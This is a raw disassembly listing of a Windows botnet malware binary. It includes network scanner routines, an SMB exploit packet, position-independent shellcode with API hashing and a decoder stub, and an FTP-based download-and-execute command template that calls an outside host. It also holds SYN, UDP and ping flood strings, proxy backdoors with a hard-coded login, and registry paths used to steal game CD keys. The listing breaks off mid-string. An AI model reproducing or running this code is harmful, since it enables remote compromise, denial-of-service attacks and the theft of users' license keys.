aCryptsvc db 'CryptSvc',0 ; DATA XREF: sub_4207E0+65o align 4 aBrowser db 'Browser',0 ; DATA XREF: sub_4207E0+5Do dd 0 aAudiosrv db 'AudioSrv',0 ; DATA XREF: sub_4207E0+55o ; sub_4207E0:loc_420A6Bo align 10h asc_444400: ; DATA XREF: sub_420E10:loc_420ECFo ; sub_420E10+F9o ... unicode 0, </>,0 aFtp db 'ftp',0 ; DATA XREF: sub_420E10+94o ; sub_420E10:loc_42107Eo ... aHttp db 'http',0 ; DATA XREF: sub_420E10+84o ; sub_420E10+257o ... align 10h aAsn db 'asn',0 ; DATA XREF: sub_4227F0+31o dd 0 dd 73610000h, 6Eh, 6 dup(0) dword_444438 dd 1BDh ; sub_422A40+310o ... off_44443C dd offset sub_401811 ; DATA XREF: ___:00423E93r dword_444440 dd 0 ; sub_4235F0+3Ar ... dd 1, 0 aAsn2 db 'asn2',0 align 4 dd 73610000h, 326Eh, 6 dup(0) dd 1BDh, 401811h, 0 dd 1, 19h dup(0) aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads' ; DATA XREF: sub_422A40+8F3o db 0 align 4 dd 3 dup(0) aSequential db 'sequential',0 ; DATA XREF: sub_422A40+8B3o align 8 aRandom db 'random',0 ; DATA XREF: sub_422A40+8ACo align 10h aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o align 4 dd 0 off_44456C dd offset dword_622D20 ; DATA XREF: sub_422A40+747o off_444570 dd offset dword_612D20 ; DATA XREF: sub_422A40+737o ; sub_422A40+7A3o ... dword_444574 dd 722D20h ; sub_422A40+7E5o aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o align 10h aTotalD db ' total: %d',0 ; DATA XREF: sub_422A40+397o align 10h aSD db ' %s: %d,',0 ; DATA XREF: sub_422A40+35Fo align 4 aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422A40+336o align 4 aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o align 10h aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo align 8 aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o align 8 aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o align 10h aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o align 8 aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422A40+6Do align 4 dd 0 dword_44466C dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o align 10h aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423B25o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o align 10h aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo align 8 aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao align 10h aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:00423CD6o align 10h aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0 ; DATA XREF: ___:004241D7o align 4 dd 3 dup(0) aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0 ; DATA XREF: ___:00424126o dd 3 dup(0) aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0 ; DATA XREF: ___:0042406Fo dd 3 dup(0) aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424840+BDo align 10h dword_444830 dd 10FF8h, 0 dword_444838 dd 10FF8h dword_44483C dd 7FFDF020h, 0 dword_444844 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4448CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4448FC dd 0 dword_444900 dd 800000D4h align 8 ; =============== S U B R O U T I N E ======================================= sub_444908 proc near ; DATA XREF: sub_425020+85o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_444A04 push dword ptr [esi] push 63D61209h call sub_444A1A mov [esi+8], eax call sub_4449CD push dword ptr [esi+4] push 0CA2BD06Bh call sub_444A1A mov [esi+0Ch], eax call sub_44497F push dword ptr [esi+4] push 4C0297FAh call sub_444A1A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_444908 endp ; =============== S U B R O U T I N E ======================================= sub_44497F proc near ; CODE XREF: sub_444908+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_4449A8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_44497F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449A8 proc near ; CODE XREF: sub_44497F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_4449B7: ; CODE XREF: sub_4449A8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4449C4 inc ebx jmp short loc_4449B7 ; --------------------------------------------------------------------------- loc_4449C4: ; CODE XREF: sub_4449A8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_4449A8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4449CD proc near ; CODE XREF: sub_444908+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4449E5: ; CODE XREF: sub_4449CD+1Ej cmp [ecx], ebx jz short loc_4449ED mov ecx, [ecx] jmp short loc_4449E5 ; --------------------------------------------------------------------------- loc_4449ED: ; CODE XREF: sub_4449CD+1Aj mov edx, edi loc_4449EF: ; CODE XREF: sub_4449CD+2Aj cmp [edx+4], ebx jz short loc_4449F9 mov edx, [edx+4] jmp short loc_4449EF ; --------------------------------------------------------------------------- loc_4449F9: ; CODE XREF: sub_4449CD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4449CD endp ; =============== S U B R O U T I N E ======================================= sub_444A04 proc near ; CODE XREF: sub_444908+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_444A04 endp ; =============== S U B R O U T I N E ======================================= sub_444A1A proc near ; CODE XREF: sub_444908+16p ; sub_444908+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_444A30: ; CODE XREF: sub_444A1A+33j jecxz short loc_444A6A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_444A3D: ; CODE XREF: sub_444A1A+2Dj lodsb cmp al, ah jz short loc_444A49 ror edi, 0Dh add edi, eax jmp short loc_444A3D ; --------------------------------------------------------------------------- loc_444A49: ; CODE XREF: sub_444A1A+26j cmp edi, [esp+20h+arg_0] jnz short loc_444A30 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_444A6A: ; CODE XREF: sub_444A1A:loc_444A30j ; sub_444A1A:loc_444A6Aj jmp short loc_444A6A sub_444A1A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A70 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AC2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A8D: ; CODE XREF: sub_444A70+38j jecxz short loc_444ABD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444A98: ; CODE XREF: sub_444A70+32j lodsb test al, al jz short loc_444AA4 ror edx, 0Dh add edx, eax jmp short loc_444A98 ; --------------------------------------------------------------------------- loc_444AA4: ; CODE XREF: sub_444A70+2Bj cmp edx, [esp+arg_0] jnz short loc_444A8D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ABD: ; CODE XREF: sub_444A70:loc_444A8Dj mov [esp+arg_0], ebx retn sub_444A70 endp ; =============== S U B R O U T I N E ======================================= sub_444AC2 proc near ; CODE XREF: sub_444A70+7p ; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444ADB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AE6 ; --------------------------------------------------------------------------- loc_444ADB: ; CODE XREF: sub_444AC2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AE6: ; CODE XREF: sub_444AC2+14j pop edi xor esi, esi pusha push esi jmp short loc_444AFA sub_444AC2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AED proc near ; CODE XREF: sub_444AC2:loc_444AFAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AC2 loc_444AFA: ; CODE XREF: sub_444AC2+29j call sub_444AED ; END OF FUNCTION CHUNK FOR sub_444AC2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444B94 dd 23h dword_444B98 dd 60h dword_444B9C dd 62B0606h, 2050501h, 0A0hdword_444BA8 dd 0A1h dword_444BAC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BB8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BC0 ; --------------------------------------------------------------------------- align 10h dword_444BC0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C68: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C6C ; --------------------------------------------------------------------------- loc_444C6A: ; CODE XREF: ___:loc_444C6Cp jmp short loc_444C71 ; --------------------------------------------------------------------------- loc_444C6C: ; CODE XREF: ___:loc_444C68j call loc_444C6A loc_444C71: ; CODE XREF: ___:loc_444C6Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C76 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C7B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C80: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C84 ; --------------------------------------------------------------------------- loc_444C82: ; CODE XREF: ___:loc_444C84p jmp short loc_444C89 ; --------------------------------------------------------------------------- loc_444C84: ; CODE XREF: ___:loc_444C80j call loc_444C82 loc_444C89: ; CODE XREF: ___:loc_444C82j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C8D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444C91 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444C98 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444CFC dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D0C dd 74656720h byte_444D10 db 20h ; DATA XREF: sub_425270+A2r dword_444D11 dd 0E8006A00h dword_444D15 dd 17h ; sub_425270+D2r dword_444D19 dd 0E8C30175h dword_444D1D dd 1 ; sub_425270+E7r byte_444D21 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D2B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F30 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445220 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445248 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445328 dd 1000005h, 0 dword_445330 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004453F8o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454D4 dd 524F5453h byte_4454D8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454DC dd 52544552h byte_4454E0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454E4 dd 5453494Ch byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454EC dd 54534C4Eh byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_4454F4 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456AC dd offset aInterlockedcom+10h ; DATA XREF: ___:0042E35Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456EC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_4456F0 dd 25206425h, 64hdword_4456F8 dd 455A4953h, 732520h, 0dword_445704 dd 4D54444Dh, 732520h, 0dword_445710 dd 4F544E52h, 732520h, 0dword_44571C dd 52464E52h, 732520h, 0dword_445728 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44573C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA: ; DATA XREF: sub_433A20+36o unicode 0, <>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 446894h, 446F60h, 446860h, 80000002h, 446800h dd 446F60h, 4467D0h, 80000002h, 446778h, 446F60h, 446754h dd 80000002h, 44670Ch, 446F60h, 4466F4h, 80000002h, 4466B0h dd 446F60h, 446688h, 80000002h, 44664Ch, 446F60h, 446618h dd 80000002h, 4465B8h, 446F60h, 44658Ch, 80000002h, 446568h dd 446560h, 446534h, 80000002h, 44650Ch, 446560h, 4464F4h dd 80000001h, 4464C4h, 4464C0h, 4464B0h, 80000002h, 446474h dd 446F60h, 446464h, 80000002h, 446428h, 446F60h, 446414h dd 80000002h, 4463CCh, 446F60h, 4463B0h, 80000002h, 44636Ch dd 446F60h, 446350h, 80000001h, 446328h, 4464C0h, 446318h dd 80000001h, 4462F0h, 4464C0h, 4462D0h, 80000002h, 446294h dd 446290h, 446274h, 80000002h, 446250h, 446248h, 446230h dd 80000001h, 446204h, 4461FCh, 4461D8h, 80000002h, 44618Ch dd 446F60h, 446164h, 80000002h, 446110h, 446F60h, 4460D8h dd 80000002h, 446074h, 446F60h, 446040h, 80000002h, 445FE0h dd 446F60h, 445FC4h, 80000002h, 445F7Ch, 446F60h, 445F60h dd 80000002h, 445F18h, 446F60h, 445F08h, 80000002h, 445ECCh dd 446F60h, 445EBCh, 80000002h, 445E80h, 446F60h, 445E58h dd 80000002h, 445E04h, 446F60h, 445DDCh, 80000002h, 445D8Ch dd 446F60h, 445D70h, 80000002h, 445D48h, 4464C0h, 445D34h dd 80000002h, 445CFCh, 446F60h, 445CCCh, 80000002h, 445C74h dd 446F60h, 445C58h, 80000001h, 445C08h, 445C00h, 445BE4h dd 80000002h, 445BA0h, 445B94h, 445B7Ch, 80000001h, 445B4Ch dd 445B40h, 445B20h, 80000002h, 445AE4h, 445C00h, 445AC4h dd 80000002h, 445A88h, 445C00h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 